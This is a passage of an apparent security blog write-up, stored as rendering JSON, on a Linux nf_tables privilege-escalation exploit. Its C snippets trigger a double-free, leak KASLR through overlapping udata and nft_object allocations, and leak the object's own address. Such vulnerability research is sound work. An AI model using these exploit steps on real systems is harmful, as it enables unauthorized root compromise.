nftnl_set_set_u32",{"type":23,"tag":213,"props":54862,"children":54863},{"style":220},[54864],{"type":28,"value":54865},"(set, NFTNL_SET_FAMILY, family);\n",{"type":23,"tag":213,"props":54867,"children":54868},{"class":215,"line":9301},[54869,54874],{"type":23,"tag":213,"props":54870,"children":54871},{"style":257},[54872],{"type":28,"value":54873}," nftnl_set_set_str",{"type":23,"tag":213,"props":54875,"children":54876},{"style":220},[54877],{"type":28,"value":54878},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":23,"tag":213,"props":54880,"children":54881},{"class":215,"line":23557},[54882,54886,54891,54895],{"type":23,"tag":213,"props":54883,"children":54884},{"style":257},[54885],{"type":28,"value":54873},{"type":23,"tag":213,"props":54887,"children":54888},{"style":220},[54889],{"type":28,"value":54890},"(set, NFTNL_SET_NAME, ",{"type":23,"tag":213,"props":54892,"children":54893},{"style":246},[54894],{"type":28,"value":54489},{"type":23,"tag":213,"props":54896,"children":54897},{"style":220},[54898],{"type":28,"value":2867},{"type":23,"tag":213,"props":54900,"children":54901},{"class":215,"line":23592},[54902],{"type":23,"tag":213,"props":54903,"children":54904},{"emptyLinePlaceholder":18},[54905],{"type":28,"value":530},{"type":23,"tag":213,"props":54907,"children":54908},{"class":215,"line":23600},[54909],{"type":23,"tag":213,"props":54910,"children":54911},{"style":537},[54912],{"type":28,"value":54913}," // make priv->dirty true\n",{"type":23,"tag":213,"props":54915,"children":54916},{"class":215,"line":23608},[54917,54922,54926,54931],{"type":23,"tag":213,"props":54918,"children":54919},{"style":257},[54920],{"type":28,"value":54921}," memset",{"type":23,"tag":213,"props":54923,"children":54924},{"style":220},[54925],{"type":28,"value":54675},{"type":23,"tag":213,"props":54927,"children":54928},{"style":514},[54929],{"type":28,"value":54930},"0xff",{"type":23,"tag":213,"props":54932,"children":54933},{"style":220},[54934],{"type":28,"value":54935},", KEY_LEN);\n",{"type":23,"tag":213,"props":54937,"children":54938},{"class":215,"line":23617},[54939,54944,54948,54952,54956,54960,54964],{"type":23,"tag":213,"props":54940,"children":54941},{"style":268},[54942],{"type":28,"value":54943}," elem",{"type":23,"tag":213,"props":54945,"children":54946},{"style":220},[54947],{"type":28,"value":3821},{"type":23,"tag":213,"props":54949,"children":54950},{"style":514},[54951],{"type":28,"value":17346},{"type":23,"tag":213,"props":54953,"children":54954},{"style":220},[54955],{"type":28,"value":8746},{"type":23,"tag":213,"props":54957,"children":54958},{"style":274},[54959],{"type":28,"value":3190},{"type":23,"tag":213,"props":54961,"children":54962},{"style":257},[54963],{"type":28,"value":54658},{"type":23,"tag":213,"props":54965,"children":54966},{"style":220},[54967],{"type":28,"value":3759},{"type":23,"tag":213,"props":54969,"children":54970},{"class":215,"line":23659},[54971,54976,54980,54984,54988,54992,54997,55001,55005,55009],{"type":23,"tag":213,"props":54972,"children":54973},{"style":257},[54974],{"type":28,"value":54975}," nftnl_set_elem_set",{"type":23,"tag":213,"props":54977,"children":54978},{"style":220},[54979],{"type":28,"value":265},{"type":23,"tag":213,"props":54981,"children":54982},{"style":268},[54983],{"type":28,"value":52117},{"type":23,"tag":213,"props":54985,"children":54986},{"style":220},[54987],{"type":28,"value":3821},{"type":23,"tag":213,"props":54989,"children":54990},{"style":514},[54991],{"type":28,"value":17346},{"type":23,"tag":213,"props":54993,"children":54994},{"style":220},[54995],{"type":28,"value":54996},"], NFTNL_SET_ELEM_OBJREF, ",{"type":23,"tag":213,"props":54998,"children":54999},{"style":246},[55000],{"type":28,"value":54715},{"type":23,"tag":213,"props":55002,"children":55003},{"style":220},[55004],{"type":28,"value":424},{"type":23,"tag":213,"props":55006,"children":55007},{"style":514},[55008],{"type":28,"value":54724},{"type":23,"tag":213,"props":55010,"children":55011},{"style":220},[55012],{"type":28,"value":2867},{"type":23,"tag":213,"props":55014,"children":55015},{"class":215,"line":23692},[55016,55020,55024,55028,55032,55036,55041,55045],{"type":23,"tag":213,"props":55017,"children":55018},{"style":257},[55019],{"type":28,"value":54975},{"type":23,"tag":213,"props":55021,"children":55022},{"style":220},[55023],{"type":28,"value":265},{"type":23,"tag":213,"props":55025,"children":55026},{"style":268},[55027],{"type":28,"value":52117},{"type":23,"tag":213,"props":55029,"children":55030},{"style":220},[55031],{"type":28,"value":3821},{"type":23,"tag":213,"props":55033,"children":55034},{"style":514},[55035],{"type":28,"value":17346},{"type":23,"tag":213,"props":55037,"children":55038},{"style":220},[55039],{"type":28,"value":55040},"], NFTNL_SET_ELEM_KEY, ",{"type":23,"tag":213,"props":55042,"children":55043},{"style":274},[55044],{"type":28,"value":405},{"type":23,"tag":213,"props":55046,"children":55047},{"style":220},[55048],{"type":28,"value":54757},{"type":23,"tag":213,"props":55050,"children":55051},{"class":215,"line":23700},[55052,55057,55061,55065,55069,55073],{"type":23,"tag":213,"props":55053,"children":55054},{"style":257},[55055],{"type":28,"value":55056}," nftnl_set_elem_add",{"type":23,"tag":213,"props":55058,"children":55059},{"style":220},[55060],{"type":28,"value":54799},{"type":23,"tag":213,"props":55062,"children":55063},{"style":268},[55064],{"type":28,"value":52117},{"type":23,"tag":213,"props":55066,"children":55067},{"style":220},[55068],{"type":28,"value":3821},{"type":23,"tag":213,"props":55070,"children":55071},{"style":514},[55072],{"type":28,"value":17346},{"type":23,"tag":213,"props":55074,"children":55075},{"style":220},[55076],{"type":28,"value":3840},{"type":23,"tag":213,"props":55078,"children":55079},{"class":215,"line":23708},[55080],{"type":23,"tag":213,"props":55081,"children":55082},{"style":220},[55083],{"type":28,"value":10401},{"type":23,"tag":213,"props":55085,"children":55086},{"class":215,"line":23717},[55087],{"type":23,"tag":213,"props":55088,"children":55089},{"emptyLinePlaceholder":18},[55090],{"type":28,"value":530},{"type":23,"tag":213,"props":55092,"children":55093},{"class":215,"line":23793},[55094],{"type":23,"tag":213,"props":55095,"children":55096},{"style":220},[55097],{"type":28,"value":55098}," // double-free commited elems\n",{"type":23,"tag":213,"props":55100,"children":55101},{"class":215,"line":23826},[55102],{"type":23,"tag":213,"props":55103,"children":55104},{"style":220},[55105],{"type":28,"value":10401},{"type":23,"tag":213,"props":55107,"children":55108},{"class":215,"line":23834},[55109,55114,55118],{"type":23,"tag":213,"props":55110,"children":55111},{"style":220},[55112],{"type":28,"value":55113}," nftnl_set_free(",{"type":23,"tag":213,"props":55115,"children":55116},{"style":290},[55117],{"type":28,"value":51072},{"type":23,"tag":213,"props":55119,"children":55120},{"style":220},[55121],{"type":28,"value":2867},{"type":23,"tag":213,"props":55123,"children":55124},{"class":215,"line":23842},[55125],{"type":23,"tag":213,"props":55126,"children":55127},{"style":220},[55128],{"type":28,"value":1208},{"type":23,"tag":213,"props":55130,"children":55131},{"class":215,"line":23879},[55132],{"type":23,"tag":213,"props":55133,"children":55134},{"style":220},[55135],{"type":28,"value":10401},{"type":23,"tag":9693,"props":55137,"children":55139},{"id":55138},"leaking-kaslr",[55140],{"type":28,"value":55141},"Leaking KASLR",{"type":23,"tag":24,"props":55143,"children":55144},{},[55145,55147,55153,55155,55160,55162,55168,55170,55176,55178],{"type":28,"value":55146},"Tables contain an outline user data buffer ",{"type":23,"tag":209,"props":55148,"children":55150},{"className":55149},[],[55151],{"type":28,"value":55152},"udata",{"type":28,"value":55154}," that we can both read and write. By allocating a ",{"type":23,"tag":209,"props":55156,"children":55158},{"className":55157},[],[55159],{"type":28,"value":55152},{"type":28,"value":55161}," buffer on the double-free slot and then overlapping it with an ",{"type":23,"tag":209,"props":55163,"children":55165},{"className":55164},[],[55166],{"type":28,"value":55167},"nft_object",{"type":28,"value":55169}," we can leak the ",{"type":23,"tag":209,"props":55171,"children":55173},{"className":55172},[],[55174],{"type":28,"value":55175},"->ops",{"type":28,"value":55177}," pointer, and use it to calculate the KASLR slide.\n",{"type":23,"tag":4009,"props":55179,"children":55181},{"alt":50631,"src":55180},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":23,"tag":202,"props":55183,"children":55185},{"className":29167,"code":55184,"language":29169,"meta":7,"style":7},"[...]\n // spray 3 udata buffers to consume elems A, B and A again\n udata_spray(nl, 0xe8, 0, 3, NULL);\n\n // check if overlap happened (i.e if we have to overlapping udata buffers)\n char spray_name[16];\n char *udata[3];\n for (int i = 0; i \u003C 3; i++)\n {\n snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n udata[i] = getudata(nl, spray_name);\n }\n if (udata[0][0] == udata[2][0])\n {\n puts(\"[+] got duplicated table\");\n }\n\n // Replace one of the udata buffers with nft_object\n // and read it's counterpart to leak the nft_object struct\n puts(\"[*] Info leak\");\n deludata_spray(nl, 0, 1);\n wait_destroyer();\n obj_spray(nl, 0, 1, NULL, 0);\n uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[55186],{"type":23,"tag":209,"props":55187,"children":55188},{"__ignoreMap":7},[55189,55196,55204,55239,55246,55254,55279,55306,55357,55364,55397,55423,55430,55494,55501,55522,55529,55536,55544,55552,55573,55602,55614,55658,55714],{"type":23,"tag":213,"props":55190,"children":55191},{"class":215,"line":216},[55192],{"type":23,"tag":213,"props":55193,"children":55194},{"style":220},[55195],{"type":28,"value":10401},{"type":23,"tag":213,"props":55197,"children":55198},{"class":215,"line":226},[55199],{"type":23,"tag":213,"props":55200,"children":55201},{"style":220},[55202],{"type":28,"value":55203}," // spray 3 udata buffers to consume elems A, B and A again\n",{"type":23,"tag":213,"props":55205,"children":55206},{"class":215,"line":524},[55207,55212,55216,55221,55226,55231,55235],{"type":23,"tag":213,"props":55208,"children":55209},{"style":220},[55210],{"type":28,"value":55211}," udata_spray(",{"type":23,"tag":213,"props":55213,"children":55214},{"style":290},[55215],{"type":28,"value":54343},{"type":23,"tag":213,"props":55217,"children":55218},{"style":220},[55219],{"type":28,"value":55220},", 0",{"type":23,"tag":213,"props":55222,"children":55223},{"style":290},[55224],{"type":28,"value":55225},"xe8",{"type":23,"tag":213,"props":55227,"children":55228},{"style":220},[55229],{"type":28,"value":55230},", 0, 3, ",{"type":23,"tag":213,"props":55232,"children":55233},{"style":290},[55234],{"type":28,"value":54549},{"type":23,"tag":213,"props":55236,"children":55237},{"style":220},[55238],{"type":28,"value":2867},{"type":23,"tag":213,"props":55240,"children":55241},{"class":215,"line":533},[55242],{"type":23,"tag":213,"props":55243,"children":55244},{"emptyLinePlaceholder":18},[55245],{"type":28,"value":530},{"type":23,"tag":213,"props":55247,"children":55248},{"class":215,"line":543},[55249],{"type":23,"tag":213,"props":55250,"children":55251},{"style":537},[55252],{"type":28,"value":55253}," // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":23,"tag":213,"props":55255,"children":55256},{"class":215,"line":551},[55257,55262,55267,55271,55275],{"type":23,"tag":213,"props":55258,"children":55259},{"style":230},[55260],{"type":28,"value":55261}," char",{"type":23,"tag":213,"props":55263,"children":55264},{"style":268},[55265],{"type":28,"value":55266}," spray_name",{"type":23,"tag":213,"props":55268,"children":55269},{"style":220},[55270],{"type":28,"value":3821},{"type":23,"tag":213,"props":55272,"children":55273},{"style":514},[55274],{"type":28,"value":40903},{"type":23,"tag":213,"props":55276,"children":55277},{"style":220},[55278],{"type":28,"value":31630},{"type":23,"tag":213,"props":55280,"children":55281},{"class":215,"line":570},[55282,55286,55290,55294,55298,55302],{"type":23,"tag":213,"props":55283,"children":55284},{"style":230},[55285],{"type":28,"value":55261},{"type":23,"tag":213,"props":55287,"children":55288},{"style":274},[55289],{"type":28,"value":282},{"type":23,"tag":213,"props":55291,"children":55292},{"style":268},[55293],{"type":28,"value":55152},{"type":23,"tag":213,"props":55295,"children":55296},{"style":220},[55297],{"type":28,"value":3821},{"type":23,"tag":213,"props":55299,"children":55300},{"style":514},[55301],{"type":28,"value":17346},{"type":23,"tag":213,"props":55303,"children":55304},{"style":220},[55305],{"type":28,"value":31630},{"type":23,"tag":213,"props":55307,"children":55308},{"class":215,"line":655},[55309,55313,55317,55321,55325,55329,55333,55337,55341,55345,55349,55353],{"type":23,"tag":213,"props":55310,"children":55311},{"style":1362},[55312],{"type":28,"value":3131},{"type":23,"tag":213,"props":55314,"children":55315},{"style":220},[55316],{"type":28,"value":400},{"type":23,"tag":213,"props":55318,"children":55319},{"style":230},[55320],{"type":28,"value":19100},{"type":23,"tag":213,"props":55322,"children":55323},{"style":220},[55324],{"type":28,"value":54597},{"type":23,"tag":213,"props":55326,"children":55327},{"style":274},[55328],{"type":28,"value":3190},{"type":23,"tag":213,"props":55330,"children":55331},{"style":514},[55332],{"type":28,"value":517},{"type":23,"tag":213,"props":55334,"children":55335},{"style":220},[55336],{"type":28,"value":51286},{"type":23,"tag":213,"props":55338,"children":55339},{"style":274},[55340],{"type":28,"value":434},{"type":23,"tag":213,"props":55342,"children":55343},{"style":514},[55344],{"type":28,"value":19152},{"type":23,"tag":213,"props":55346,"children":55347},{"style":220},[55348],{"type":28,"value":51317},{"type":23,"tag":213,"props":55350,"children":55351},{"style":274},[55352],{"type":28,"value":51322},{"type":23,"tag":213,"props":55354,"children":55355},{"style":220},[55356],{"type":28,"value":2183},{"type":23,"tag":213,"props":55358,"children":55359},{"class":215,"line":1176},[55360],{"type":23,"tag":213,"props":55361,"children":55362},{"style":220},[55363],{"type":28,"value":2725},{"type":23,"tag":213,"props":55365,"children":55366},{"class":215,"line":1202},[55367,55372,55377,55382,55387,55392],{"type":23,"tag":213,"props":55368,"children":55369},{"style":257},[55370],{"type":28,"value":55371}," snprintf",{"type":23,"tag":213,"props":55373,"children":55374},{"style":220},[55375],{"type":28,"value":55376},"(spray_name, ",{"type":23,"tag":213,"props":55378,"children":55379},{"style":230},[55380],{"type":28,"value":55381},"sizeof",{"type":23,"tag":213,"props":55383,"children":55384},{"style":220},[55385],{"type":28,"value":55386},"(spray_name), ",{"type":23,"tag":213,"props":55388,"children":55389},{"style":246},[55390],{"type":28,"value":55391},"\"spray-%i\"",{"type":23,"tag":213,"props":55393,"children":55394},{"style":220},[55395],{"type":28,"value":55396},", i);\n",{"type":23,"tag":213,"props":55398,"children":55399},{"class":215,"line":1758},[55400,55405,55409,55413,55418],{"type":23,"tag":213,"props":55401,"children":55402},{"style":268},[55403],{"type":28,"value":55404}," udata",{"type":23,"tag":213,"props":55406,"children":55407},{"style":220},[55408],{"type":28,"value":54649},{"type":23,"tag":213,"props":55410,"children":55411},{"style":274},[55412],{"type":28,"value":3190},{"type":23,"tag":213,"props":55414,"children":55415},{"style":257},[55416],{"type":28,"value":55417}," getudata",{"type":23,"tag":213,"props":55419,"children":55420},{"style":220},[55421],{"type":28,"value":55422},"(nl, spray_name);\n",{"type":23,"tag":213,"props":55424,"children":55425},{"class":215,"line":1767},[55426],{"type":23,"tag":213,"props":55427,"children":55428},{"style":220},[55429],{"type":28,"value":2875},{"type":23,"tag":213,"props":55431,"children":55432},{"class":215,"line":1789},[55433,55437,55441,55445,55449,55453,55457,55461,55465,55469,55474,55478,55482,55486,55490],{"type":23,"tag":213,"props":55434,"children":55435},{"style":1362},[55436],{"type":28,"value":2653},{"type":23,"tag":213,"props":55438,"children":55439},{"style":220},[55440],{"type":28,"value":400},{"type":23,"tag":213,"props":55442,"children":55443},{"style":268},[55444],{"type":28,"value":55152},{"type":23,"tag":213,"props":55446,"children":55447},{"style":220},[55448],{"type":28,"value":3821},{"type":23,"tag":213,"props":55450,"children":55451},{"style":514},[55452],{"type":28,"value":4116},{"type":23,"tag":213,"props":55454,"children":55455},{"style":220},[55456],{"type":28,"value":49010},{"type":23,"tag":213,"props":55458,"children":55459},{"style":514},[55460],{"type":28,"value":4116},{"type":23,"tag":213,"props":55462,"children":55463},{"style":220},[55464],{"type":28,"value":8746},{"type":23,"tag":213,"props":55466,"children":55467},{"style":274},[55468],{"type":28,"value":8660},{"type":23,"tag":213,"props":55470,"children":55471},{"style":268},[55472],{"type":28,"value":55473}," udata",{"type":23,"tag":213,"props":55475,"children":55476},{"style":220},[55477],{"type":28,"value":3821},{"type":23,"tag":213,"props":55479,"children":55480},{"style":514},[55481],{"type":28,"value":3221},{"type":23,"tag":213,"props":55483,"children":55484},{"style":220},[55485],{"type":28,"value":49010},{"type":23,"tag":213,"props":55487,"children":55488},{"style":514},[55489],{"type":28,"value":4116},{"type":23,"tag":213,"props":55491,"children":55492},{"style":220},[55493],{"type":28,"value":858},{"type":23,"tag":213,"props":55495,"children":55496},{"class":215,"line":1812},[55497],{"type":23,"tag":213,"props":55498,"children":55499},{"style":220},[55500],{"type":28,"value":2725},{"type":23,"tag":213,"props":55502,"children":55503},{"class":215,"line":1838},[55504,55509,55513,55518],{"type":23,"tag":213,"props":55505,"children":55506},{"style":257},[55507],{"type":28,"value":55508}," puts",{"type":23,"tag":213,"props":55510,"children":55511},{"style":220},[55512],{"type":28,"value":265},{"type":23,"tag":213,"props":55514,"children":55515},{"style":246},[55516],{"type":28,"value":55517},"\"[+] got duplicated table\"",{"type":23,"tag":213,"props":55519,"children":55520},{"style":220},[55521],{"type":28,"value":2867},{"type":23,"tag":213,"props":55523,"children":55524},{"class":215,"line":1851},[55525],{"type":23,"tag":213,"props":55526,"children":55527},{"style":220},[55528],{"type":28,"value":2875},{"type":23,"tag":213,"props":55530,"children":55531},{"class":215,"line":1864},[55532],{"type":23,"tag":213,"props":55533,"children":55534},{"emptyLinePlaceholder":18},[55535],{"type":28,"value":530},{"type":23,"tag":213,"props":55537,"children":55538},{"class":215,"line":1890},[55539],{"type":23,"tag":213,"props":55540,"children":55541},{"style":537},[55542],{"type":28,"value":55543}," // Replace one of the udata buffers with nft_object\n",{"type":23,"tag":213,"props":55545,"children":55546},{"class":215,"line":1899},[55547],{"type":23,"tag":213,"props":55548,"children":55549},{"style":537},[55550],{"type":28,"value":55551}," // and read it's counterpart to leak the nft_object struct\n",{"type":23,"tag":213,"props":55553,"children":55554},{"class":215,"line":1912},[55555,55560,55564,55569],{"type":23,"tag":213,"props":55556,"children":55557},{"style":257},[55558],{"type":28,"value":55559}," puts",{"type":23,"tag":213,"props":55561,"children":55562},{"style":220},[55563],{"type":28,"value":265},{"type":23,"tag":213,"props":55565,"children":55566},{"style":246},[55567],{"type":28,"value":55568},"\"[*] Info leak\"",{"type":23,"tag":213,"props":55570,"children":55571},{"style":220},[55572],{"type":28,"value":2867},{"type":23,"tag":213,"props":55574,"children":55575},{"class":215,"line":1921},[55576,55581,55586,55590,55594,55598],{"type":23,"tag":213,"props":55577,"children":55578},{"style":257},[55579],{"type":28,"value":55580}," deludata_spray",{"type":23,"tag":213,"props":55582,"children":55583},{"style":220},[55584],{"type":28,"value":55585},"(nl, ",{"type":23,"tag":213,"props":55587,"children":55588},{"style":514},[55589],{"type":28,"value":4116},{"type":23,"tag":213,"props":55591,"children":55592},{"style":220},[55593],{"type":28,"value":424},{"type":23,"tag":213,"props":55595,"children":55596},{"style":514},[55597],{"type":28,"value":4106},{"type":23,"tag":213,"props":55599,"children":55600},{"style":220},[55601],{"type":28,"value":2867},{"type":23,"tag":213,"props":55603,"children":55604},{"class":215,"line":3879},[55605,55610],{"type":23,"tag":213,"props":55606,"children":55607},{"style":257},[55608],{"type":28,"value":55609}," wait_destroyer",{"type":23,"tag":213,"props":55611,"children":55612},{"style":220},[55613],{"type":28,"value":3759},{"type":23,"tag":213,"props":55615,"children":55616},{"class":215,"line":3887},[55617,55622,55626,55630,55634,55638,55642,55646,55650,55654],{"type":23,"tag":213,"props":55618,"children":55619},{"style":257},[55620],{"type":28,"value":55621}," obj_spray",{"type":23,"tag":213,"props":55623,"children":55624},{"style":220},[55625],{"type":28,"value":55585},{"type":23,"tag":213,"props":55627,"children":55628},{"style":514},[55629],{"type":28,"value":4116},{"type":23,"tag":213,"props":55631,"children":55632},{"style":220},[55633],{"type":28,"value":424},{"type":23,"tag":213,"props":55635,"children":55636},{"style":514},[55637],{"type":28,"value":4106},{"type":23,"tag":213,"props":55639,"children":55640},{"style":220},[55641],{"type":28,"value":424},{"type":23,"tag":213,"props":55643,"children":55644},{"style":230},[55645],{"type":28,"value":54549},{"type":23,"tag":213,"props":55647,"children":55648},{"style":220},[55649],{"type":28,"value":424},{"type":23,"tag":213,"props":55651,"children":55652},{"style":514},[55653],{"type":28,"value":4116},{"type":23,"tag":213,"props":55655,"children":55656},{"style":220},[55657],{"type":28,"value":2867},{"type":23,"tag":213,"props":55659,"children":55660},{"class":215,"line":3918},[55661,55666,55670,55675,55679,55683,55688,55692,55696,55701,55705,55710],{"type":23,"tag":213,"props":55662,"children":55663},{"style":230},[55664],{"type":28,"value":55665}," uint64_t",{"type":23,"tag":213,"props":55667,"children":55668},{"style":274},[55669],{"type":28,"value":282},{"type":23,"tag":213,"props":55671,"children":55672},{"style":220},[55673],{"type":28,"value":55674},"fake_obj ",{"type":23,"tag":213,"props":55676,"children":55677},{"style":274},[55678],{"type":28,"value":3190},{"type":23,"tag":213,"props":55680,"children":55681},{"style":220},[55682],{"type":28,"value":400},{"type":23,"tag":213,"props":55684,"children":55685},{"style":230},[55686],{"type":28,"value":55687},"uint64_t",{"type":23,"tag":213,"props":55689,"children":55690},{"style":274},[55691],{"type":28,"value":282},{"type":23,"tag":213,"props":55693,"children":55694},{"style":220},[55695],{"type":28,"value":2121},{"type":23,"tag":213,"props":55697,"children":55698},{"style":257},[55699],{"type":28,"value":55700},"getudata",{"type":23,"tag":213,"props":55702,"children":55703},{"style":220},[55704],{"type":28,"value":55585},{"type":23,"tag":213,"props":55706,"children":55707},{"style":246},[55708],{"type":28,"value":55709},"\"spray-2\"",{"type":23,"tag":213,"props":55711,"children":55712},{"style":220},[55713],{"type":28,"value":2867},{"type":23,"tag":213,"props":55715,"children":55716},{"class":215,"line":3926},[55717],{"type":23,"tag":213,"props":55718,"children":55719},{"style":220},[55720],{"type":28,"value":10401},{"type":23,"tag":9693,"props":55722,"children":55724},{"id":55723},"leaking-self-pointer-of-nft_object",[55725,55727],{"type":28,"value":55726},"Leaking self pointer of ",{"type":23,"tag":209,"props":55728,"children":55730},{"className":55729},[],[55731],{"type":28,"value":55167},{"type":23,"tag":24,"props":55733,"children":55734},{},[55735,55737,55742,55744,55749,55751,55756,55758,55764],{"type":28,"value":55736},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":23,"tag":209,"props":55738,"children":55740},{"className":55739},[],[55741],{"type":28,"value":55167},{"type":28,"value":55743}," to get its own address. This is possible because the ",{"type":23,"tag":209,"props":55745,"children":55747},{"className":55746},[],[55748],{"type":28,"value":55167},{"type":28,"value":55750}," has a ",{"type":23,"tag":209,"props":55752,"children":55754},{"className":55753},[],[55755],{"type":28,"value":55152},{"type":28,"value":55757}," pointer (similar to ",{"type":23,"tag":209,"props":55759,"children":55761},{"className":55760},[],[55762],{"type":28,"value":55763},"table->udata",{"type":28,"value":55765}," that I used for leaking KASLR), that I can use to read/write data.",{"type":23,"tag":24,"props":55767,"children":55768},{},[55769,55770,55775,55777,55783,55785,55790,55792,55798,55800,55806,55808,55813,55815,55820,55822,55827,55829],{"type":28,"value":2623},{"type":23,"tag":209,"props":55771,"children":55773},{"className":55772},[],[55774],{"type":28,"value":55167},{"type":28,"value":55776}," struct also contains a ",{"type":23,"tag":209,"props":55778,"children":55780},{"className":55779},[],[55781],{"type":28,"value":55782},"list_head",{"type":28,"value":55784}," inserted in a circular list containing all ",{"type":23,"tag":209,"props":55786,"children":55788},{"className":55787},[],[55789],{"type":28,"value":55167},{"type":28,"value":55791},"'s that belong to a given ",{"type":23,"tag":209,"props":55793,"children":55795},{"className":55794},[],[55796],{"type":28,"value":55797},"table",{"type":28,"value":55799},". Considering that our object is currently alone in its table, the ",{"type":23,"tag":209,"props":55801,"children":55803},{"className":55802},[],[55804],{"type":28,"value":55805},"table->list.next",{"type":28,"value":55807}," pointer in the ",{"type":23,"tag":209,"props":55809,"children":55811},{"className":55810},[],[55812],{"type":28,"value":55167},{"type":28,"value":55814}," will point back to the ",{"type":23,"tag":209,"props":55816,"children":55818},{"className":55817},[],[55819],{"type":28,"value":55782},{"type":28,"value":55821}," contained in the ",{"type":23,"tag":209,"props":55823,"children":55825},{"className":55824},[],[55826],{"type":28,"value":55797},{"type":28,"value":55828}," and vice-versa.\n",{"type":23,"tag":4009,"props":55830,"children":55832},{"alt":50631,"src":55831},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":23,"tag":24,"props":55834,"children":55835},{},[55836,55838,55843,55845,55850,55852,55858,55860,55865,55866,55871,55873,55878,55880,55885],{"type":28,"value":55837},"In short, that means that if we swap the ",{"type":23,"tag":209,"props":55839,"children":55841},{"className":55840},[],[55842],{"type":28,"value":55152},{"type":28,"value":55844}," pointer of the ",{"type":23,"tag":209,"props":55846,"children":55848},{"className":55847},[],[55849],{"type":28,"value":55167},{"type":28,"value":55851}," with its own ",{"type":23,"tag":209,"props":55853,"children":55855},{"className":55854},[],[55856],{"type":28,"value":55857},"list.next",{"type":28,"value":55859}," pointer we should be able to read a pointer back to the ",{"type":23,"tag":209,"props":55861,"children":55863},{"className":55862},[],[55864],{"type":28,"value":55167},{"type":28,"value":52392},{"type":23,"tag":209,"props":55867,"children":55869},{"className":55868},[],[55870],{"type":28,"value":55782},{"type":28,"value":55872}," which is also the start of the ",{"type":23,"tag":209,"props":55874,"children":55876},{"className":55875},[],[55877],{"type":28,"value":55167},{"type":28,"value":55879}," itself.\n",{"type":23,"tag":95,"props":55881,"children":55882},{},[55883],{"type":28,"value":55884},"NOTE:",{"type":28,"value":55886}," This is a novel small trick.",{"type":23,"tag":202,"props":55888,"children":55890},{"className":29167,"code":55889,"language":29169,"meta":7,"style":7},"[...]\n // Leak nft_object ptr using table linked list\n fake_obj[8] = 8; // ulen = 8\n fake_obj[9] = fake_obj[0]; // udata = list->next\n deludata_spray(nl, 2, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n get_obj(nl, \"spray-0\", true);\n printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[55891],{"type":23,"tag":209,"props":55892,"children":55893},{"__ignoreMap":7},[55894,55901,55909,55922,55970,55997,56008,56046,56053,56082,56112],{"type":23,"tag":213,"props":55895,"children":55896},{"class":215,"line":216},[55897],{"type":23,"tag":213,"props":55898,"children":55899},{"style":220},[55900],{"type":28,"value":10401},{"type":23,"tag":213,"props":55902,"children":55903},{"class":215,"line":226},[55904],{"type":23,"tag":213,"props":55905,"children":55906},{"style":220},[55907],{"type":28,"value":55908}," // Leak nft_object ptr using table linked list\n",{"type":23,"tag":213,"props":55910,"children":55911},{"class":215,"line":524},[55912,55917],{"type":23,"tag":213,"props":55913,"children":55914},{"style":220},[55915],{"type":28,"value":55916}," fake_obj[8] = 8;",{"type":23,"tag":213,"props":55918,"children":55919},{"style":537},[55920],{"type":28,"value":55921}," // ulen = 8\n",{"type":23,"tag":213,"props":55923,"children":55924},{"class":215,"line":533},[55925,55930,55934,55939,55943,55947,55952,55956,55960,55965],{"type":23,"tag":213,"props":55926,"children":55927},{"style":268},[55928],{"type":28,"value":55929}," fake_obj",{"type":23,"tag":213,"props":55931,"children":55932},{"style":220},[55933],{"type":28,"value":3821},{"type":23,"tag":213,"props":55935,"children":55936},{"style":514},[55937],{"type":28,"value":55938},"9",{"type":23,"tag":213,"props":55940,"children":55941},{"style":220},[55942],{"type":28,"value":8746},{"type":23,"tag":213,"props":55944,"children":55945},{"style":274},[55946],{"type":28,"value":3190},{"type":23,"tag":213,"props":55948,"children":55949},{"style":268},[55950],{"type":28,"value":55951}," fake_obj",{"type":23,"tag":213,"props":55953,"children":55954},{"style":220},[55955],{"type":28,"value":3821},{"type":23,"tag":213,"props":55957,"children":55958},{"style":514},[55959],{"type":28,"value":4116},{"type":23,"tag":213,"props":55961,"children":55962},{"style":220},[55963],{"type":28,"value":55964},"];",{"type":23,"tag":213,"props":55966,"children":55967},{"style":537},[55968],{"type":28,"value":55969}," // udata = list->next\n",{"type":23,"tag":213,"props":55971,"children":55972},{"class":215,"line":543},[55973,55977,55981,55985,55989,55993],{"type":23,"tag":213,"props":55974,"children":55975},{"style":257},[55976],{"type":28,"value":55580},{"type":23,"tag":213,"props":55978,"children":55979},{"style":220},[55980],{"type":28,"value":55585},{"type":23,"tag":213,"props":55982,"children":55983},{"style":514},[55984],{"type":28,"value":3221},{"type":23,"tag":213,"props":55986,"children":55987},{"style":220},[55988],{"type":28,"value":424},{"type":23,"tag":213,"props":55990,"children":55991},{"style":514},[55992],{"type":28,"value":4106},{"type":23,"tag":213,"props":55994,"children":55995},{"style":220},[55996],{"type":28,"value":2867},{"type":23,"tag":213,"props":55998,"children":55999},{"class":215,"line":551},[56000,56004],{"type":23,"tag":213,"props":56001,"children":56002},{"style":257},[56003],{"type":28,"value":55609},{"type":23,"tag":213,"props":56005,"children":56006},{"style":220},[56007],{"type":28,"value":3759},{"type":23,"tag":213,"props":56009,"children":56010},{"class":215,"line":570},[56011,56016,56020,56025,56029,56033,56037,56041],{"type":23,"tag":213,"props":56012,"children":56013},{"style":257},[56014],{"type":28,"value":56015}," udata_spray",{"type":23,"tag":213,"props":56017,"children":56018},{"style":220},[56019],{"type":28,"value":55585},{"type":23,"tag":213,"props":56021,"children":56022},{"style":514},[56023],{"type":28,"value":56024},"0xe8",{"type":23,"tag":213,"props":56026,"children":56027},{"style":220},[56028],{"type":28,"value":424},{"type":23,"tag":213,"props":56030,"children":56031},{"style":514},[56032],{"type":28,"value":17346},{"type":23,"tag":213,"props":56034,"children":56035},{"style":220},[56036],{"type":28,"value":424},{"type":23,"tag":213,"props":56038,"children":56039},{"style":514},[56040],{"type":28,"value":4106},{"type":23,"tag":213,"props":56042,"children":56043},{"style":220},[56044],{"type":28,"value":56045},", 